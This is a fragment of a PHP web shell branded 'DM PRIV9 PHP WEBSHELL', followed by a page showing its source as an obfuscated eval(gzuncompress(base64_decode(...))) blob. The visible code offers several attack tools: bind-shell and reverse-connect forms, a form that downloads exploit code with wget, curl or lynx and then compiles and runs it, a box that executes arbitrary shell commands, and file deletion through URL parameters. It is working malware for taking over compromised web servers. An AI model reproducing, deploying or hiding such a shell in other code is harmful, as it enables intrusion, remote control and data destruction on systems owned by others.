<td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr> 

<tr><td>Use</td>
<td style="text-align:justify">
<p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px"></td></tr></table> 
</form></td> 

<td> <form method="post" actions="?dm=<?php echo $pwd; ?>&amp;x=netsploit"> 
<table><tr><td>IP</td>
<td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>">
</td>
</tr> 
<tr><td>Port</td>
<td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr> 

<tr><td>Use</td>
<td style="text-align:justify">
<p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px"></td></tr></table> </form> </td> 
			
<td> <form method="post" actions="?dm=<?php echo $pwd; ?>&amp;x=netsploit">
<table> <tr><td>url</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr> 
<tr><td>cmd</td>
<td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> 
<tr><td><select size="1" class="inputz" name="pilihan"> 
<option value="wwget">wget</option> 
<option value="wlynx">lynx</option> 
<option value="wfread">fread</option> 
<option value="wfetch">fetch</option> 
<option value="wlinks">links</option> <option value="wget">GET</option> 
<option value="wcurl">curl</option>
</select></td>
<td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;"></td></tr></table></form </td></tr></table> 
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div> 


<?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')) { 
?> 
<form action="?dm=<?php echo $pwd; ?>&amp;x=shell"method="post"> 

<table class="cmdbox"> <tr>
<td colspan="2"> 
<textarea class="output"> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea> </td></tr>

<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table></form>

<?php 
}  else  { 
if(isset($_GET['delete']) && ($_GET['delete'] != "")){ 
$file = $_GET['delete']; @unlink($file); 
} 

elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){ 
delete_option($_GET['fdelete']); 
} 

elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){ 
$path = $pwd.$_GET['mkdir']; @mkdir($path); 
} 
$buff = showdir($pwd,$prompt); 
echo $buff; 
} 
?>


<!-- DM-5HELL FOOTER -->
<div align="center">
<br>
<!-- DM-5HELL -->
<br>
<table class="tabnet" style="width:700px;padding:0 1px;">
<tr><td align="center" colspan="2">
<nobr><span class='b12'>WE DO IT WE WANT BECAUSE WE CAN</span>
</td></tr>
<tr><td align="center" colspan="2">
<nobr><span class='b12'>DM PRIV9 PHP WEBSHELL &copy; 2013 </span>
</td></tr>
</table><br><br>
</html><!-- DM-5HELL -->
</div></div></body></html>
<!-- END OF DM-5HELL --

Did this file decode correctly?

Original Code

<?php eval(gzuncompress(base64_decode("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